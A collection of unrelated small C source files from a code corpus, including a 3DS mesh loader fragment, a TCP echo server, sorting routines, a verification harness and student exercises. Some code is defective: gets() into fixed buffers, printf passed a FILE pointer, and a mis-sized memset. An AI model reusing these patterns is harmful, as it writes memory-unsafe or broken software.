(vector_t*)malloc(sizeof(vector_t) * trimesh->num_face); memset(normal_face,0,sizeof(vector_t) * trimesh->num_face); normal_vertex = (vector_t*)malloc(sizeof(vector_t) * trimesh->num_face * 3); memset(normal_vertex,0,sizeof(vector_t) * trimesh->num_face * 3); vertex_count = (int*)malloc(sizeof(int) * trimesh->num_face * 3); memset(vertex_count,0,sizeof(int) * trimesh->num_face * 3); vertex_face = (int**)malloc(sizeof(int*) * trimesh->num_face * 3); memset(vertex_face,0,sizeof(int) * trimesh->num_face * 3); trimesh->normal = normal_vertex; vertex = trimesh->vertex; face = trimesh->face; smoothgroup = trimesh->smoothgroup; for(i = 0; i < trimesh->num_face; i++) { int j = i * 3; vector_t a,b; int v0 = face[j + 0]; int v1 = face[j + 1]; int v2 = face[j + 2]; vertex_count[v0]++; vertex_count[v1]++; vertex_count[v2]++; vector_sub(&vertex[v1],&vertex[v0],&a); vector_sub(&vertex[v2],&vertex[v0],&b); vector_cross(&a,&b,&normal_face[i]); vector_normalize(&normal_face[i],&normal_face[i]); } for(i = 0; i < trimesh->num_face * 3; i++) { vertex_face[i] = (int*)malloc(sizeof(int) * (vertex_count[i] + 1)); vertex_face[i][0] = vertex_count[i]; } for(i = 0; i < trimesh->num_face; i++) { int j = i * 3; int v0 = face[j + 0]; int v1 = face[j + 1]; int v2 = face[j + 2]; vertex_face[v0][vertex_count[v0]--] = i; vertex_face[v1][vertex_count[v1]--] = i; vertex_face[v2][vertex_count[v2]--] = i; } for(i = 0; i < trimesh->num_face; i++) { int j = i * 3,k; int v0 = face[j + 0]; int v1 = face[j + 1]; int v2 = face[j + 2]; for(k = 1; k <= vertex_face[v0][0]; k++) { int l = vertex_face[v0][k]; if(i == l || (smoothgroup && smoothgroup[i] & smoothgroup[l])) vector_add(&normal_vertex[j + 0],&normal_face[l], &normal_vertex[j + 0]); } for(k = 1; k <= vertex_face[v1][0]; k++) { int l = vertex_face[v1][k]; if(i == l || (smoothgroup && smoothgroup[i] & smoothgroup[l])) vector_add(&normal_vertex[j + 1],&normal_face[l], &normal_vertex[j + 1]); } for(k = 1; k <= vertex_face[v2][0]; k++) { int l = vertex_face[v2][k]; if(i == l || (smoothgroup && smoothgroup[i] & smoothgroup[l])) vector_add(&normal_vertex[j + 2],&normal_face[l], &normal_vertex[j + 2]); } } for(i = 0; i < trimesh->num_face * 3; i++) { vector_normalize(&normal_vertex[i],&normal_vertex[i]); free(vertex_face[i]); } free(normal_face); free(vertex_count); free(vertex_face); /* create linear arrays for vertex and uvmap */ vertex = (vector_t*)malloc(sizeof(vector_t) * trimesh->num_face * 3); memset(vertex,0,sizeof(vector_t) * trimesh->num_face * 3); uvmap = (uvmap_t*)malloc(sizeof(uvmap_t) * trimesh->num_face * 3); memset(uvmap,0,sizeof(uvmap_t) * trimesh->num_face * 3); for(i = 0; i < trimesh->num_face * 3; i += 3) { vector_copy(&trimesh->vertex[trimesh->face[i + 0]],&vertex[i + 0]); vector_copy(&trimesh->vertex[trimesh->face[i + 1]],&vertex[i + 1]); vector_copy(&trimesh->vertex[trimesh->face[i + 2]],&vertex[i + 2]); } free(trimesh->vertex); trimesh->vertex = vertex; trimesh->num_vertex = trimesh->num_face * 3; if(trimesh->uvmap) { for(i = 0; i < trimesh->num_face * 3; i += 3) { uvmap[i + 0].u = trimesh->uvmap[trimesh->face[i + 0]].u; uvmap[i + 0].v = trimesh->uvmap[trimesh->face[i + 0]].v; uvmap[i + 1].u = trimesh->uvmap[trimesh->face[i + 1]].u; uvmap[i + 1].v = trimesh->uvmap[trimesh->face[i + 1]].v; uvmap[i + 2].u = trimesh->uvmap[trimesh->face[i + 2]].u; uvmap[i + 2].v = trimesh->uvmap[trimesh->face[i + 2]].v; } free(trimesh->uvmap); } trimesh->uvmap = uvmap; trimesh->num_uvmap = trimesh->num_face * 3; free(trimesh->face); trimesh->face = NULL; } static float *create_mesh(mesh_t *mesh,int *num_vertex) { int i,j; float *vertex; for(i = 0, *num_vertex = 0; i < mesh->num_trimesh; i++) { create_trimesh(&mesh->trimesh[i]); *num_vertex += mesh->trimesh[i].num_face; } *num_vertex *= 3; vertex = (float*)malloc(sizeof(float) * *num_vertex * 8); for(i = 0, j = 0; i < mesh->num_trimesh; i++) { int k; for(k = 0; k < mesh->trimesh[i].num_face * 3; k++, j += 8) { vertex[j + 0] = mesh->trimesh[i].vertex[k].x; vertex[j + 1] = mesh->trimesh[i].vertex[k].y; vertex[j + 2] = mesh->trimesh[i].vertex[k].z; vertex[j + 3] = mesh->trimesh[i].normal[k].x; vertex[j + 4] = mesh->trimesh[i].normal[k].y; vertex[j + 5] = mesh->trimesh[i].normal[k].z; vertex[j + 6] = mesh->trimesh[i].uvmap[k].u; vertex[j + 7] = mesh->trimesh[i].uvmap[k].v; } if(mesh->trimesh[i].vertex) free(mesh->trimesh[i].vertex); if(mesh->trimesh[i].normal) free(mesh->trimesh[i].normal); if(mesh->trimesh[i].uvmap) free(mesh->trimesh[i].uvmap); if(mesh->trimesh[i].face) free(mesh->trimesh[i].face); if(mesh->trimesh[i].smoothgroup) free(mesh->trimesh[i].smoothgroup); } free(mesh->trimesh); return vertex; } float *Load3DS(char *name,int *num_vertex) { FILE *file; mesh_t *mesh; float *vertex; unsigned short chunk_type; int chunk_size,content_size; file = fopen(name,"rb"); if(!file) { fprintf(stderr,"error open %s file\n",name); return NULL; } chunk_type = read_ushort(file); chunk_size = read_int(file); content_size = chunk_size - 6; if(chunk_type != CHUNK_MAIN) { fprintf(stderr,"wrong main chunk\n"); fclose(file); return NULL; } mesh = (mesh_t*)malloc(sizeof(mesh_t)); memset(mesh,0,sizeof(mesh_t)); read_chunks(file,content_size,process_main,(void*)mesh); fclose(file); vertex = create_mesh(mesh,num_vertex); free(mesh); return vertex; }
the_stack_data/784193.c
#include <stdio.h> #include <stdbool.h> int main(int argc, char *argv[]) { int ages[] = {23, 43, 12, 89, 2}; char *names[] = { "Alan", "Frank", "Mary", "John", "Lisa" }; int count = sizeof(ages) / sizeof(int); int age_size = sizeof(ages); printf("The size of the ages is %d.\n", age_size); int i = 0; for (i = 0; i < count; i++) { printf("%s has %d years alive.\n", names[i], ages[i]); } printf("----\n"); int *cur_age = ages; char **cur_name = names; for (i = 0; i < count; i++) { printf("%s is %d years old.\n", *(cur_name+i), *(cur_age+i)); } printf("----\n"); for (i = 0; i < count; i++) { printf("%s is %d years old again.\n", cur_name[i], cur_age[i]); } printf("----\n"); for (cur_name = names, cur_age = ages; (cur_age - ages) < count; cur_name++, cur_age++) { printf("%s lived %d years so far.\n", *cur_name, *cur_age); } return 0; }
the_stack_data/117329188.c
/************************************************************************* > File Name: echoser.c > Author: Simba > Mail: [email protected] > Created Time: Fri 01 Mar 2013 06:15:27 PM CST ************************************************************************/ #include<stdio.h> #include<sys/types.h> #include<sys/socket.h> #include<unistd.h> #include<stdlib.h> #include<errno.h> #include<arpa/inet.h> #include<netinet/in.h> #include<string.h> #define ERR_EXIT(m) \ do { \ perror(m); \ exit(EXIT_FAILURE); \ } while (0) void do_service(int); int main(void) { int listenfd; //被动套接字(文件描述符),即只可以accept, 监听套接字 if ((listenfd = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) // listenfd = socket(AF_INET, SOCK_STREAM, 0) ERR_EXIT("socket error"); struct sockaddr_in servaddr; memset(&servaddr, 0, sizeof(servaddr)); servaddr.sin_family = AF_INET; servaddr.sin_port = htons(5188); servaddr.sin_addr.s_addr = htonl(INADDR_ANY); /* servaddr.sin_addr.s_addr = inet_addr("127.0.0.1"); */ /* inet_aton("127.0.0.1", &servaddr.sin_addr); */ int on = 1; if (setsockopt(listenfd, SOL_SOCKET, SO_REUSEADDR, &on, sizeof(on)) < 0) ERR_EXIT("setsockopt error"); if (bind(listenfd, (struct sockaddr*)&servaddr,sizeof(servaddr)) < 0) ERR_EXIT("bind error"); if (listen(listenfd, SOMAXCONN) < 0) //listen应在socket和bind之后,而在accept之前 ERR_EXIT("listen error"); struct sockaddr_in peeraddr; //传出参数 socklen_t peerlen = sizeof(peeraddr); //传入传出参数,必须有初始值 int conn; // 已连接套接字(变为主动套接字,即可以主动connect) pid_t pid; while (1) { if ((conn = accept(listenfd, (struct sockaddr*)&peeraddr, &peerlen)) < 0) //3次握手完成的序列 ERR_EXIT("accept error"); printf("recv connect ip=%s port=%d\n", inet_ntoa(peeraddr.sin_addr), ntohs(peeraddr.sin_port)); pid = fork(); if (pid == -1) ERR_EXIT("fork error"); if (pid == 0) { // 子进程 close(listenfd); do_service(conn); exit(EXIT_SUCCESS); } else close(conn); //父进程 } return 0; } void do_service(int conn) { char recvbuf[1024]; while (1) { memset(recvbuf, 0, sizeof(recvbuf)); int ret = read(conn, recvbuf, sizeof(recvbuf)); if (ret == 0) { //客户端关闭了 printf("client close\n"); break; } else if (ret == -1) ERR_EXIT("read error"); fputs(recvbuf, stdout); write(conn, recvbuf, ret); } }
the_stack_data/67324081.c
#include <string.h> #include <stdio.h> int main() { int i=0, r, n, s, j, x, t=0; char str[100], word[20], new[20], c[100]; printf("\nType a sentence: "); gets(str); printf("\nBefore which word: "); gets(word); char* pos = strstr(str, word); if(pos) { printf("Found the string '%s' at position: %ld\n", word, pos-str); printf("\nWhat to insert: "); gets(new); r = strlen(str); n = strlen(new); while(i <= r) { c[i]=str[i]; i++; } s = n+r; j = (pos-str)+n; str[j]=' '; for(i=pos-str; i<s; i++) { x = c[i]; if(t<n) { str[i] = new[t]; t++; } str[j+1]=x; j++; } printf("\nAfter inserting the new word: "); puts(str); } else { printf("The string '%s' was not found in '%s' \n\n", word, str); } return 0; }
the_stack_data/24896.c
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* ft_isalnum.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: mdemir <42istanbul.com.tr> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2022/01/04 14:32:14 by mdemir #+# #+# */ /* Updated: 2022/01/04 14:32:16 by mdemir ### ########.tr */ /* */ /* ************************************************************************** */ int ft_isalnum(int c) { if ((c >= 65 && c <= 90) || (c >= 97 && c <= 122) || (c >= 48 && c <= 57)) return (1); else return (0); }
the_stack_data/61076092.c
#include<stdio.h> #include<stdlib.h> void print(float L1[],int x) { for(int i=0;i<x;i++) printf("%.2f ",L1[i]); } int combine(float L1[],float L2[],int x,int y){ int i=0,j=0,k,t=0; while(j<y){ for(i=0;i<x;i++) { if(L2[j]<=L1[i]&&++t) { for(k=x;k>i;k--) L1[k]=L1[k-1]; L1[i]=L2[j++]; x++; i=0; t=0; } } if(t==0){ L1[x++]=L2[j++]; i=0; } } print(L1,x); } int main(){ float L1[50],L2[50]; int x,y,i,j,k; scanf("%d %d",&x,&y); for(i=0;i<x;i++) scanf("%f",&L1[i]); for(j=0;j<y;j++) scanf("%f",&L2[j]); combine(L1,L2,x,y); return 0; }
the_stack_data/743393.c
#include <stdio.h> int main() { int size, k; printf("Enter length of array: "); scanf("%d", &size); printf("Enter K: "); scanf("%d", &k); int arr[size]; for(int i = 0; i < size; i++) { printf("Element %d: ", i+1); scanf("%d", &arr[i]); } for (int i = k -1; i >= 0; i--) printf("%d ", arr[i]); for (int i = k; i < size; i++) printf("%d ", arr[i]); }
the_stack_data/165768737.c
int minCut(char* s) { int *dp; int **is_palin; int len = strlen(s); int i,j,ret; dp = (int *)malloc(sizeof(int) * (len+1)); is_palin = (int **)malloc(sizeof(int *) * len); for(i = 0; i < len; ++i){ is_palin[i] = (int *)malloc(sizeof(int) * len); memset(is_palin[i],0,sizeof(int) * len); is_palin[i][i] = 1; } dp[len] = -1; for(i = len - 1; i >= 0; --i){ dp[i] = dp[i+1] + 1; for(j = i+1; j < len; ++j){ if(s[i] == s[j]){ if(j - i < 2 || is_palin[i+1][j-1]){ is_palin[i][j] = 1; dp[i] = dp[j+1] + 1 < dp[i] ? dp[j+1] + 1 : dp[i]; } } } } ret = dp[0]; for(i = 0; i < len; ++i) free(is_palin[i]); free(is_palin); free(dp); return ret; }
the_stack_data/67325309.c
#include <stdio.h> #include <stdlib.h> #include <time.h> int main() { int a[10],i,j,tmp,min; srand(time(NULL)); for(i=0;i<10;i++) a[i]=rand()%100; for(i=0;i<10;i++) printf("%3d",a[i]); printf("\n"); for(i=0;i<9;i++) { tmp=i; for(j=i+1;j<10;j++) { if(a[tmp]>a[j]) tmp=j; } if(i!=tmp) { min=a[tmp]; a[tmp]=a[i]; a[i]=min; } } for(i=0;i<10;i++) printf("%3d",a[i]); printf("\n"); }
the_stack_data/117328200.c
#include <stdio.h> #include <pthread.h> #define TIMES 1000000 #define ATOMIC_SMP_LOCK "lock ; " typedef struct { volatile int counter; } atomic_t; static inline void atomic_inc(atomic_t *v) { __asm__ __volatile__ ( ATOMIC_SMP_LOCK "incl %0" :"=m" (v->counter) :"m" (v->counter) ); } static inline void atomic_dec(atomic_t *v) { __asm__ __volatile__ ( ATOMIC_SMP_LOCK "decl %0" :"=m" (v->counter) :"m" (v->counter) ); } void *thread_inc(void *param) { atomic_t *n = (atomic_t *)param; for (int i = 0; i < TIMES; i++) { atomic_inc(n); } return NULL; } void *thread_dec(void *param) { atomic_t *n = (atomic_t *)param; for (int i = 0; i < TIMES; i++) { atomic_dec(n); } return NULL; } int main(void) { printf("atomic:\n"); atomic_t count = { .counter = 0}; pthread_t inc_tid = 0; pthread_t dec_tid = 0; pthread_create(&inc_tid, NULL, thread_inc, &count); pthread_create(&dec_tid, NULL, thread_dec, &count); pthread_join(inc_tid, NULL); pthread_join(dec_tid, NULL); printf("%d\n", count.counter); return 0; }
the_stack_data/220455431.c
#include <stdint.h> // The size of these variables should match the size of the timer value. uint32_t min_latency = UINT32_MAX; uint32_t max_latency = 0; // Note that the type of total_latency is larger than min/max latency. // This is because total_latency is an accumulator and may overflow. uint64_t total_latency = 0; /// Later in your program you can calculate average latency using total_latency / count. uint32_t count = 0; __attribute__((weak)) inline uint32_t readTimer() { // Override this function to read from the target timer peripheral. // Our advice is to read the raw timer value in as few steps as possible, // skipping any conversion steps. This will give you the most accurate look // at interrupt latency. The application code (or a spreadsheet) can handle // the conversion from count to time for you. return 0; } // Call this function from the timer interrupt handler void latency(void) { uint32_t time = readTimer(); if(time < min_latency) { min_latency = time; } if(time > max_latency) { max_latency = time; } total_latency += time; count++; }
the_stack_data/53398.c
#include<stdio.h> void main() { printf("Hello World!"); }
the_stack_data/161080652.c
#ifdef COMPILE_FOR_TEST #include <assert.h> #define assume(cond) assert(cond) #endif void main(int argc, char* argv[]) { int x_0_0;//sh_buf.outcnt int x_0_1;//sh_buf.outcnt int x_0_2;//sh_buf.outcnt int x_0_3;//sh_buf.outcnt int x_0_4;//sh_buf.outcnt int x_0_5;//sh_buf.outcnt int x_0_6;//sh_buf.outcnt int x_0_7;//sh_buf.outcnt int x_1_0;//sh_buf.outbuf[0] int x_1_1;//sh_buf.outbuf[0] int x_2_0;//sh_buf.outbuf[1] int x_2_1;//sh_buf.outbuf[1] int x_3_0;//sh_buf.outbuf[2] int x_3_1;//sh_buf.outbuf[2] int x_4_0;//sh_buf.outbuf[3] int x_4_1;//sh_buf.outbuf[3] int x_5_0;//sh_buf.outbuf[4] int x_5_1;//sh_buf.outbuf[4] int x_6_0;//sh_buf.outbuf[5] int x_7_0;//sh_buf.outbuf[6] int x_8_0;//sh_buf.outbuf[7] int x_9_0;//sh_buf.outbuf[8] int x_10_0;//sh_buf.outbuf[9] int x_11_0;//LOG_BUFSIZE int x_11_1;//LOG_BUFSIZE int x_12_0;//CREST_scheduler::lock_0 int x_13_0;//t3 T0 int x_14_0;//t2 T0 int x_15_0;//arg T0 int x_16_0;//functioncall::param T0 int x_16_1;//functioncall::param T0 int x_17_0;//buffered T0 int x_18_0;//functioncall::param T0 int x_18_1;//functioncall::param T0 int x_19_0;//functioncall::param T0 int x_19_1;//functioncall::param T0 int x_20_0;//functioncall::param T0 int x_20_1;//functioncall::param T0 int x_21_0;//functioncall::param T0 int x_21_1;//functioncall::param T0 int x_22_0;//direction T0 int x_23_0;//functioncall::param T0 int x_23_1;//functioncall::param T0 int x_24_0;//functioncall::param T0 int x_24_1;//functioncall::param T0 int x_25_0;//functioncall::param T0 int x_25_1;//functioncall::param T0 int x_26_0;//functioncall::param T0 int x_26_1;//functioncall::param T0 int x_27_0;//functioncall::param T0 int x_27_1;//functioncall::param T0 int x_28_0;//functioncall::param T0 int x_28_1;//functioncall::param T0 int x_29_0;//functioncall::param T0 int x_29_1;//functioncall::param T0 int x_30_0;//functioncall::param T0 int x_30_1;//functioncall::param T0 int x_31_0;//functioncall::param T0 int x_31_1;//functioncall::param T0 int x_32_0;//functioncall::param T0 int x_32_1;//functioncall::param T0 int x_33_0;//functioncall::param T0 int x_33_1;//functioncall::param T0 int x_34_0;//functioncall::param T0 int x_34_1;//functioncall::param T0 int x_35_0;//functioncall::param T1 int x_35_1;//functioncall::param T1 int x_36_0;//functioncall::param T1 int x_36_1;//functioncall::param T1 int x_37_0;//i T1 int x_37_1;//i T1 int x_37_2;//i T1 int x_38_0;//rv T1 int x_39_0;//rv T1 int x_39_1;//rv T1 int x_40_0;//functioncall::param T1 int x_40_1;//functioncall::param T1 int x_41_0;//functioncall::param T1 int x_41_1;//functioncall::param T1 int x_42_0;//functioncall::param T1 int x_42_1;//functioncall::param T1 int x_43_0;//functioncall::param T1 int x_43_1;//functioncall::param T1 int x_44_0;//functioncall::param T1 int x_44_1;//functioncall::param T1 int x_45_0;//functioncall::param T1 int x_45_1;//functioncall::param T1 int x_46_0;//functioncall::param T1 int x_46_1;//functioncall::param T1 int x_47_0;//functioncall::param T1 int x_47_1;//functioncall::param T1 int x_48_0;//functioncall::param T1 int x_48_1;//functioncall::param T1 int x_49_0;//functioncall::param T2 int x_49_1;//functioncall::param T2 int x_50_0;//functioncall::param T2 int x_50_1;//functioncall::param T2 int x_51_0;//i T2 int x_51_1;//i T2 int x_51_2;//i T2 int x_51_3;//i T2 int x_52_0;//rv T2 int x_53_0;//rv T2 int x_53_1;//rv T2 int x_54_0;//functioncall::param T2 int x_54_1;//functioncall::param T2 int x_55_0;//functioncall::param T2 int x_55_1;//functioncall::param T2 int x_56_0;//functioncall::param T2 int x_56_1;//functioncall::param T2 int x_57_0;//functioncall::param T2 int x_57_1;//functioncall::param T2 int x_58_0;//functioncall::param T2 int x_58_1;//functioncall::param T2 int x_59_0;//functioncall::param T2 int x_59_1;//functioncall::param T2 int x_59_2;//functioncall::param T2 int x_60_0;//functioncall::param T2 int x_60_1;//functioncall::param T2 T_0_0_0: x_0_0 = 0; T_0_1_0: x_1_0 = 0; T_0_2_0: x_2_0 = 0; T_0_3_0: x_3_0 = 0; T_0_4_0: x_4_0 = 0; T_0_5_0: x_5_0 = 0; T_0_6_0: x_6_0 = 0; T_0_7_0: x_7_0 = 0; T_0_8_0: x_8_0 = 0; T_0_9_0: x_9_0 = 0; T_0_10_0: x_10_0 = 0; T_0_11_0: x_11_0 = 0; T_0_12_0: x_13_0 = 3576942352; T_0_13_0: x_14_0 = 1049150048; T_0_14_0: x_15_0 = 0; T_0_15_0: x_16_0 = 1076943241; T_0_16_0: x_16_1 = -1; T_0_17_0: x_17_0 = 0; T_0_18_0: x_18_0 = 211054453; T_0_19_0: x_18_1 = x_17_0; T_0_20_0: x_19_0 = 237445679; T_0_21_0: x_19_1 = 97; T_0_22_0: x_20_0 = 1370860625; T_0_23_0: x_20_1 = 0; T_0_24_0: x_21_0 = 802091956; T_0_25_0: x_21_1 = 0; T_0_26_0: x_22_0 = 1049145408; T_0_27_0: x_23_0 = 677770447; T_0_28_0: x_23_1 = x_22_0; T_0_29_0: x_24_0 = 1255112388; T_0_30_0: x_24_1 = 0; T_0_31_0: x_12_0 = -1; T_0_32_0: x_0_1 = 5; T_0_33_0: x_1_1 = 72; T_0_34_0: x_2_1 = 69; T_0_35_0: x_3_1 = 76; T_0_36_0: x_4_1 = 76; T_0_37_0: x_5_1 = 79; T_0_38_0: x_25_0 = 1741350996; T_0_39_0: x_25_1 = 83; T_0_40_0: x_26_0 = 1937166967; T_0_41_0: x_26_1 = 1; T_0_42_0: x_27_0 = 920288027; T_0_43_0: x_27_1 = 1; T_0_44_0: x_28_0 = 1849330077; T_0_45_0: x_28_1 = 1; T_0_46_0: x_29_0 = 1515944907; T_0_47_0: x_29_1 = 82; T_0_48_0: x_30_0 = 1202405888; T_0_49_0: x_30_1 = 90; T_0_50_0: x_31_0 = 912172937; T_0_51_0: x_31_1 = 1; T_0_52_0: x_32_0 = 2007685809; T_0_53_0: x_32_1 = 1; T_0_54_0: x_33_0 = 1338324267; T_0_55_0: x_33_1 = 2; T_0_56_0: x_34_0 = 376943126; T_0_57_0: x_34_1 = 2; T_0_58_0: x_11_1 = 5; T_2_59_2: x_49_0 = 1825309566; T_2_60_2: x_49_1 = x_33_1; T_2_61_2: x_50_0 = 302346225; T_2_62_2: x_50_1 = x_34_1; T_2_63_2: x_51_0 = 0; T_2_64_2: x_52_0 = -1099808255; T_1_65_1: x_35_0 = 1897445859; T_1_66_1: x_35_1 = x_27_1; T_1_67_1: x_36_0 = 2138802097; T_1_68_1: x_36_1 = x_28_1; T_1_69_1: x_37_0 = 0; T_1_70_1: x_38_0 = -1097707007; T_2_71_2: if (x_0_1 + x_50_1 > x_11_1 && x_0_1 != 0) x_53_0 = 1056212912; T_1_72_1: if (x_0_1 + x_36_1 > x_11_1 && x_0_1 != 0) x_39_0 = 0; T_1_73_1: if (x_0_1 + x_36_1 > x_11_1 && x_0_1 != 0 && x_18_1 == 0 && x_18_1 == 0) x_40_0 = 1442035870; T_1_74_1: if (x_0_1 + x_36_1 > x_11_1 && x_0_1 != 0 && x_18_1 == 0 && x_18_1 == 0) x_40_1 = -1; T_1_75_1: if (x_0_1 + x_36_1 > x_11_1 && x_0_1 != 0 && x_18_1 == 0 && x_18_1 == 0) x_39_1 = x_40_1; T_1_76_1: if (x_0_1 + x_36_1 > x_11_1 && x_0_1 != 0 && x_18_1 == 0 && x_39_1 + 1 == 0) x_0_2 = 0; T_1_77_1: if (x_0_1 + x_36_1 > x_11_1 && x_0_1 != 0) x_41_0 = 1858507788; T_1_78_1: if (x_0_1 + x_36_1 > x_11_1 && x_0_1 != 0) x_41_1 = 9; T_1_79_1: if (x_0_1 + x_36_1 > x_11_1 && x_0_1 != 0) x_42_0 = 2121172569; T_1_80_1: if (x_0_1 + x_36_1 > x_11_1 && x_0_1 != 0) x_42_1 = x_41_1; T_1_81_1: if (x_0_1 + x_36_1 > x_11_1 && x_0_1 != 0) x_0_3 = 0; T_1_82_1: if (x_36_1 < x_11_1) x_43_0 = 233147288; T_1_83_1: if (x_36_1 < x_11_1) x_43_1 = 47993062274816; T_1_84_1: if (x_0_1 + x_50_1 > x_11_1 && x_0_1 != 0 && x_18_1 == 0 && x_18_1 == 0) x_54_0 = 302936563; T_1_85_1: if (x_0_1 + x_50_1 > x_11_1 && x_0_1 != 0 && x_18_1 == 0 && x_18_1 == 0) x_54_1 = -1; T_1_86_1: if (x_0_1 + x_50_1 > x_11_1 && x_0_1 != 0 && x_18_1 == 0 && x_18_1 == 0) x_53_1 = x_54_1; T_2_87_2: if (x_0_1 + x_50_1 > x_11_1 && x_0_1 != 0 && x_18_1 == 0 && x_53_1 + 1 == 0) x_0_4 = 0; T_2_88_2: if (x_0_1 + x_50_1 > x_11_1 && x_0_1 != 0) x_55_0 = 1465043315; T_2_89_2: if (x_0_1 + x_50_1 > x_11_1 && x_0_1 != 0) x_55_1 = 9; T_2_90_2: if (x_0_1 + x_50_1 > x_11_1 && x_0_1 != 0) x_56_0 = 1662091254; T_2_91_2: if (x_0_1 + x_50_1 > x_11_1 && x_0_1 != 0) x_56_1 = x_55_1; T_2_92_2: if (x_0_1 + x_50_1 > x_11_1 && x_0_1 != 0) x_0_5 = 0; T_2_93_2: if (x_50_1 < x_11_1) x_57_0 = 167599937; T_2_94_2: if (x_50_1 < x_11_1) x_57_1 = 47993064376064; T_2_95_2: if (x_36_1 < x_11_1) x_44_0 = 126556682; T_2_96_2: if (x_36_1 < x_11_1) x_44_1 = x_0_3 + x_36_1; T_2_97_2: if (x_36_1 < x_11_1) x_37_1 = 0; T_1_98_1: if (x_36_1 < x_11_1 && x_37_1 < x_35_1) x_45_0 = 2139443234; T_1_99_1: if (x_36_1 < x_11_1 && x_37_1 < x_35_1) x_45_1 = 47993062274816; T_1_100_1: if (x_36_1 < x_11_1) x_37_2 = 1 + x_37_1; T_1_101_1: if (x_36_1 < x_11_1) x_46_0 = 1244543178; T_1_102_1: if (x_36_1 < x_11_1) x_46_1 = 47993062274816; T_1_103_1: if (x_50_1 < x_11_1) x_58_0 = 337611136; T_1_104_1: if (x_50_1 < x_11_1) x_58_1 = x_0_5 + x_50_1; T_1_105_1: if (x_50_1 < x_11_1) x_51_1 = 0; T_2_106_2: if (x_50_1 < x_11_1 && x_51_1 < x_49_1) x_59_0 = 229405265; T_2_107_2: if (x_50_1 < x_11_1 && x_51_1 < x_49_1) x_59_1 = 47993064376064; T_2_108_2: if (x_50_1 < x_11_1) x_51_2 = 1 + x_51_1; T_2_109_2: if (x_50_1 < x_11_1 && x_51_2 < x_49_1) x_59_2 = 47993064376064; T_2_110_2: if (x_50_1 < x_11_1) x_51_3 = 1 + x_51_2; T_2_111_2: if (x_50_1 < x_11_1) x_60_0 = 467920156; T_2_112_2: if (x_50_1 < x_11_1) x_60_1 = 47993064376064; T_2_113_2: if (x_36_1 < x_11_1) x_0_6 = x_0_5 + x_36_1; T_2_114_2: if (x_36_1 < x_11_1) x_47_0 = 1139703092; T_2_115_2: if (x_36_1 < x_11_1) x_47_1 = 47993062274816; T_2_116_2: if (x_50_1 < x_11_1) x_0_7 = x_0_5 + x_50_1; T_1_117_1: if (x_36_1 < x_11_1) x_48_0 = 907175712; T_1_118_1: if (x_36_1 < x_11_1) x_48_1 = 47993062274816; T_1_119_1: if (x_36_1 < x_11_1) assert(x_0_7 == x_44_1); }
the_stack_data/95210.c
void kernel_fdtd_2d(int tmax, int nx, int ny, double ex[ 1000 + 0][1200 + 0], double ey[ 1000 + 0][1200 + 0], double hz[ 1000 + 0][1200 + 0], double _fict_[ 500 + 0]) { int t, i, j; for(t = 0; t < tmax; t++) { for (j = 0; j < ny; j++) ey[0][j] = _fict_[t]; #pragma clang loop(i1, j1) tile sizes(8, 64) #pragma clang loop id(i1) for (i = 1; i < nx; i++) #pragma clang loop id(j1) for (j = 0; j < ny; j++) ey[i][j] = ey[i][j] - 0.5*(hz[i][j]-hz[i-1][j]); #pragma clang loop(i2, j2) tile sizes(8, 64) #pragma clang loop id(i2) for (i = 0; i < nx; i++) #pragma clang loop id(j2) for (j = 1; j < ny; j++) ex[i][j] = ex[i][j] - 0.5*(hz[i][j]-hz[i][j-1]); #pragma clang loop(i3, j3) tile sizes(8,64) #pragma clang loop id(i3) for (i = 0; i < nx - 1; i++) #pragma clang loop id(j3) for (j = 0; j < ny - 1; j++) hz[i][j] = hz[i][j] - 0.7* (ex[i][j+1] - ex[i][j] + ey[i+1][j] - ey[i][j]); } }
the_stack_data/59512833.c
/* * A simple, non-optimizing brainfuck to C translator. * 2010-08-31 - Version 1.0 (Cory Burgett) * * This code is hereby placed into the public domain. * * Originally located at: http://www4.ncsu.edu/~cmburget/brainfucc.c */ #include <stdio.h> #include<stdlib.h> int main(int argc, char **argv) { FILE *in = stdin, *out = stdout; int c; int cellsize = 30000; printf(out, "#include <stdio.h>\n" "#include <stdlib.h>\n\n" "int main(int argc, char **argv)\n{\n" "\tunsigned char *cell = calloc(%d, 1);\n" "\tunsigned char *cells = cell;\n" "\tif (!cell) {\n" "\t\tfprintf(stderr, \"Error allocating memory.\\n\");\n" "\t\treturn 1;\n" "\t}\n\n", cellsize ); while ((c = getc(in)) != EOF) { switch (c) { case '>': fprintf(out, "\t\t++cell;\n"); break; case '<': fprintf(out, "\t\t--cell;\n"); break; case '+': fprintf(out, "\t\t++*cell;\n"); break; case '-': fprintf(out, "\t\t--*cell;\n"); break; case '.': fprintf(out, "\t\tputchar(*cell);\n"); break; case ',': fprintf(out, "\t\t*cell = getchar();\n"); break; case '[': fprintf(out, "\twhile (*cell) {\n"); break; case ']': fprintf(out, "\t}\n"); break; default: break; } } fprintf(out, "\n\tfree(cells);\n\treturn 0;\n}\n\n"); }
the_stack_data/68888714.c
a, b, c; d() { long e = c ? a : b; f(e); }
the_stack_data/94198.c
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* ft_print_comb2.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: anajmi <[email protected]> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2021/06/26 11:21:56 by anajmi #+# #+# */ /* Updated: 2021/06/26 18:51:32 by anajmi ### ########.fr */ /* */ /* ************************************************************************** */ #include <unistd.h> void print(char c) { write(1, &c, 1); } void print_combo(int a, int b) { if (a < b) { print(a / 10 + '0'); print(a % 10 + '0'); print(' '); print(b / 10 + '0'); print(b % 10 + '0'); if (a != 98) { print(','); print(' '); } } } void ft_print_comb2(void) { int a; int b; a = 0; while (a <= 98) { b = a + 1; while (b <= 99) { print_combo(a, b); b++; } a++; } }
the_stack_data/75756.c
#include <stdio.h> int main (void) { puts ("Hello, World"); return 0; }
the_stack_data/218894542.c
